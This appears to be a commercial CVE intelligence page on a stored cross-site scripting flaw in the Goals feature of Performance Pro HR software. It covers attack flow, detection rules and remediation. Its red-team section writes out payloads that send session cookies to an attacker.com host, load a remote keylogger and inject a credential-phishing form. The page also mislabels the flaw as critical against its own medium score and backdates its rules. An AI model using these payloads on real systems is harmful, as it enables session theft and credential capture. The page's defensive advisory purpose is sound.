☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-60932

CVE-2025-60932 Cross-Site Scripting in Hr performance solutions
📅 PUBLISHED: 2025-10-21 00:00 UTC 🔄 UPDATED: 2026-08-18 17:13 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60932 is a critical stored cross-site scripting (XSS) vulnerability affecting HR Performance Solutions Performance Pro v3.19.17 and earlier versions. The vulnerability resides in the Current Goals function, allowing attackers to inject arbitrary web scripts or HTML via multiple parameters: Goal Name, Goal Notes, Action Step Name, Action Step Description, Note Name, and Goal Description. Successful exploitation enables attackers to execute malicious scripts in the context of other users' browsers, potentially leading to session hijacking, data theft, or further compromise of the HR system. The patched version is PP-Release-6.3.2.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary enterprise application vulnerability. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): Low (L) - An attacker needs authenticated access to the application to inject the payload.
  • User Interaction (UI): Required (R) - The victim must view the malicious content (e.g., a goal page).
  • Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., user sessions).
  • Confidentiality (C): Low (L) - Limited data exposure possible.
  • Integrity (I): Low (L) - Limited ability to modify data.
  • Availability (A): None (N) - No impact on availability.

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for data theft and session hijacking makes it a significant concern for organizations using this software.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (also known as persistent XSS). The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser.

Attack Flow:

  1. Authentication: The attacker must have a valid user account with permissions to create or edit goals within the Performance Pro application.
  2. Payload Injection: The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and injects it into one of the vulnerable parameters (Goal Name, Goal Notes, Action Step Name, Action Step Description, Note Name, Goal Description) via the web interface.
  3. Storage: The application stores the unsanitized payload in its database.
  4. Triggering: When another user (or the same user) views the goal containing the malicious payload, the application retrieves the data from the database and renders it in the browser without proper encoding.
  5. Execution: The victim's browser executes the injected script, which can perform actions such as stealing session cookies, redirecting to a malicious site, or performing actions on behalf of the victim.

Vulnerable Parameters:

  • Goal Name
  • Goal Notes
  • Action Step Name
  • Action Step Description
  • Note Name
  • Goal Description

Vulnerable vs. Patched Code

The exact code is not publicly available, but the vulnerability is a classic case of missing output encoding.

Vulnerable Code (Conceptual - ASP.NET/C#):

// Vulnerable: Directly outputting user input without encoding
<%= goal.GoalName %>

Patched Code (Conceptual - ASP.NET/C#):

// Patched: Using HTML encoding to neutralize scripts
<%= HttpUtility.HtmlEncode(goal.GoalName) %>

The patched version (PP-Release-6.3.2.0) likely implements proper output encoding for all user-controlled fields within the Current Goals function.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • A valid user account on a vulnerable instance of Performance Pro (v3.19.17 or earlier).
  • Access to the Current Goals function.

Exploitation Steps:

  1. Login: Authenticate to the Performance Pro application.
  2. Navigate: Go to the Current Goals section.
  3. Create/Edit Goal: Create a new goal or edit an existing one.
  4. Inject Payload: In the "Goal Name" field, enter the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Save: Save the goal.
  6. Wait for Trigger: When an administrator or another user views this goal, their session cookie will be sent to the attacker's server.

Alternative Payloads:

  • Session Hijacking:
    <script>new Image().src='https://attacker.com/steal.php?cookie='+document.cookie;</script>
    
  • Keylogging:
    <script src="https://attacker.com/keylogger.js"></script>
    
  • Phishing:
    <form action="https://attacker.com/login" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>
    

Blue Team (Defender)

Detection Steps:

  1. Monitor Logs: Review web server logs for unusual patterns in the GoalName, GoalNotes, ActionStepName, ActionStepDescription, NoteName, and GoalDescription parameters. Look for <script>, <img>, <iframe>, or other HTML tags.
  2. Database Analysis: Query the database for stored XSS patterns in the relevant fields.
    SELECT * FROM goals WHERE GoalName LIKE '%<script>%' OR GoalName LIKE '%<img%' OR GoalName LIKE '%<iframe%';
    
  3. Network Traffic: Monitor outbound traffic for connections to known malicious domains or IP addresses, especially those triggered by JavaScript callbacks.
  4. User Behavior: Investigate accounts that are creating or editing goals with suspicious content.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal.php?cookie=...).
    • Connections to known malicious IP addresses or domains.
  • Host IOCs:
    • Presence of <script>, <img>, <iframe>, or other HTML tags in the database fields: GoalName, GoalNotes, ActionStepName, ActionStepDescription, NoteName, GoalDescription.
    • Unusual JavaScript files or inline scripts in the application's response.
  • Log IOCs:
    • Web server logs showing requests with encoded or raw HTML tags in the vulnerable parameters.
    • Application logs showing failed input validation attempts.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payloads {
    meta:
        description = "Detects stored XSS payloads in HR Performance Solutions Performance Pro"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-60932"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/si
        $xss2 = /<img[^>]*onerror\s*=/si
        $xss3 = /<iframe[^>]*src\s*=/si
        $xss4 = /onload\s*=/si
        $xss5 = /onclick\s*=/si
        $xss6 = /javascript\s*:/si
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in HR Performance Solutions Performance Pro
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in the Current Goals function
author: Valters IT
date: 2025/04/10
tags:
    - cve.2025.60932
    - attack.t1190
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'GoalName='
            - 'GoalNotes='
            - 'ActionStepName='
            - 'ActionStepDescription='
            - 'NoteName='
            - 'GoalDescription='
        cs-uri-query|re:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in goal descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60932 Stored XSS Payload in Goal Name"; flow:to_server,established; content:"GoalName="; nocase; pcre:"/(<script|<img|<iframe|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the patch by upgrading to PP-Release-6.3.2.0 or later.
  2. Input Validation: Implement strict input validation on the server side to reject or sanitize HTML/JavaScript content.
  3. Output Encoding: Ensure all user-supplied data is HTML-encoded before being rendered in the browser.
  4. Web Application Firewall (WAF): Deploy or configure a WAF to block common XSS payloads.

Long-Term Measures:

  1. Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
  2. Code Review: Conduct a thorough code review of all input/output handling functions.
  3. Penetration Testing: Perform regular penetration testing to identify similar vulnerabilities.
  4. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a vulnerability exists.

Valters IT Signature

This report is prepared by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact us at valters@example.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60932/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.